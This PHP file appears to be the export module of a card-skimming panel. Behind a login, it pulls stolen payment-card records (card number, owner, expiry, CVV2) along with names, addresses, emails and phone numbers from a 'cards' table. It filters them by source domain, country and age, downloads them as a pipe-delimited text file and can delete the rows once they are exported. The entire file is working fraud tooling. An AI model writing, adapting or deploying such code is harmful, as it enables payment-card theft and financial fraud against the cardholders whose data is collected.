<?php

include('./kernel/config.php');

if(!Auth()){ header('Location: ./'); exit; }

Auth2($l,$p,$m);

if($_SERVER['REQUEST_METHOD']=='POST'){
	$MySQL=''; $where=''; $del=array();

	if(isset($_POST['setDomain'])===true){
		$domain=base64_encode($_POST['setDomain']);
		$where=' AND domain=("'.$domain.'")';
	}

	if($_POST['period']=='a'){
		$where='';
		if(isset($_POST['setDomain'])===true and $_POST['setDomain']!=='a'){
			$domain=base64_encode($_POST['setDomain']);
			$where=' WHERE domain=("'.$domain.'")';
		}
		$MySQL=mysqli_query($connect,'SELECT * FROM cards'.$where.' ORDER BY id DESC');
	}elseif($_POST['period']=='w'){
		$MySQL=mysqli_query($connect,'SELECT * FROM cards WHERE addtime < (UNIX_TIMESTAMP() - 604800)'.$where.' ORDER BY id DESC');
	}else{
		$MySQL=mysqli_query($connect,'SELECT * FROM cards WHERE addtime < (UNIX_TIMESTAMP() - 2592000)'.$where.' ORDER BY id DESC');
	}

	$result='';

	while($row=mysqli_fetch_assoc($MySQL)){
		if(strlen($_POST['countries'])>1){
			$ex=explode(' ',$_POST['countries']);
			if(!checkCountry($ex,base64_decode($row['country']))){ continue; }
		}
		$result.=base64_decode($row['cnumber']).'|'.
		base64_decode($row['owner']).'|'.
		base64_decode($row['expires']).'|'.
		base64_decode($row['cvv2']);

		$string='Number | Owner | Expires | CVV2';

		if(isset($_POST['name'])===true){
			$string.=' | Firstname';

			$result.='|'.base64_decode($row['firstname']);
		}if(isset($_POST['lastname'])===true){
			$string.=' | Lastname';

			$result.='|'.base64_decode($row['lastname']);
		}if(isset($_POST['address'])===true){
			$string.=' | Address';

			$result.='|'.base64_decode($row['address']);
		}if(isset($_POST['country'])===true){
			$string.=' | Country';

			$result.='|'.base64_decode($row['country']);
		}if(isset($_POST['state'])===true){
			$string.=' | State';

			$result.='|'.base64_decode($row['state']);
		}if(isset($_POST['city'])===true){
			$string.=' | City';

			$result.='|'.base64_decode($row['city']);
		}if(isset($_POST['email'])===true){
			$string.=' | Email';

			$result.='|'.base64_decode($row['email']);
		}if(isset($_POST['postcode'])===true){
			$string.=' | Postcode';

			$result.='|'.base64_decode($row['postcode']);
		}if(isset($_POST['street'])===true){
			$string.=' | Street';

			$result.='|'.base64_decode($row['street']);
		}if(isset($_POST['phone'])===true){
			$string.=' | Phone';

			$result.='|'.base64_decode($row['phone']);
		}if(isset($_POST['domain'])===true){
			$string.=' | Domain';

			$result.='|'.base64_decode($row['domain']);
		}if(isset($_POST['time'])===true){
			$string.=' | Added';

			$result.='|'.date('d.m.Y H:i',$row['addtime']);
		}
		$result.="\n";

		if(isset($_POST['deleted'])===true){
			$del[]=$row['id'];
		}
	}

	if(isset($_POST['deleted'])===true){
		if (!empty($del)) {
		    $ids=array_map('intval',$del);
		    $idList = implode(',',$ids);
		    mysqli_query($connect,"DELETE FROM cards WHERE id IN ($idList)");
		}
	}
	$result=$string."\n".$result;
}else{
	$MySQL=mysqli_query($connect,'SELECT * FROM cards ORDER by id DESC');

	$result='Number | Owner | Expires | CVV2 | Firstname | Lastname | Address | Country | State | City | E-Mail | Postcode | Street | Phone'."\n";

	while($row=mysqli_fetch_assoc($MySQL)){
		$result.=base64_decode($row['cnumber']).'|'.
		base64_decode($row['owner']).'|'.
		base64_decode($row['expires']).'|'.
		base64_decode($row['cvv2']).'|'.
		base64_decode($row['firstname']).'|'.
		base64_decode($row['lastname']).'|'.
		base64_decode($row['address']).'|'.
		base64_decode($row['country']).'|'.
		base64_decode($row['state']).'|'.
		base64_decode($row['city']).'|'.
		base64_decode($row['email']).'|'.
		base64_decode($row['postcode']).'|'.
		base64_decode($row['street']).'|'.
		base64_decode($row['phone'])."\n";
	}
}

function checkCountry($array,$country){
	for($c=0,$max=sizeof($array);$c<$max;$c++){
		if($array[$c]==$country){
			return true;
		}
	}
	return false;
}

header('Content-type: text/txt');
header('Content-Disposition: attachment; filename=data.txt');
header('Pragma: no-cache');
header('Expires: 0');
print $result;

mysqli_close($connect);

?>